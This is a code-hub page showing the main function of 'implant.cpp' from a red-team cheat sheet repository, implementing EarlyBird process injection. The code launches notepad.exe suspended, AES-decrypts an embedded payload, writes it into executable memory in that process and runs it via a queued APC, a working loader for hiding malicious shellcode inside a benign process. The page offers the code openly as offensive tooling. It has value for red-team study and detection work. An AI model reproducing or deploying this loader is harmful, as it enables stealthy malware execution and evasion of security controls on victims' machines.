MCPcopy Create free account
hub / github.com/0xJs/RedTeaming_CheatSheet / main

Function main

coding/projects/Code_Injection/EarlyBird/implant.cpp:187–216  ·  view source on GitHub ↗

EarlyBird injection

Source from the content-addressed store, hash-verified

185
186// EarlyBird injection
187int main(void) {
188
189 int pid = 0;
190 HANDLE hProc = NULL;
191
192 STARTUPINFO si;
193 PROCESS_INFORMATION pi;
194 void * pRemoteCode;
195
196 ZeroMemory( &si, sizeof(si) );
197 si.cb = sizeof(si);
198 ZeroMemory( &pi, sizeof(pi) );
199
200 CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
201
202 // Decrypt and inject payload
203 AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));
204
205 // Allocate memory for payload and throw it in
206 pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
207 WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
208
209 QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);
210
211 printf("pload = %p ; remcode = %p\nReady to roll!\n", payload, pRemoteCode);
212 getchar();
213 ResumeThread(pi.hThread);
214
215 return 0;
216}

Callers

nothing calls this directly

Calls 1

AESDecryptFunction · 0.70

Tested by

no test coverage detected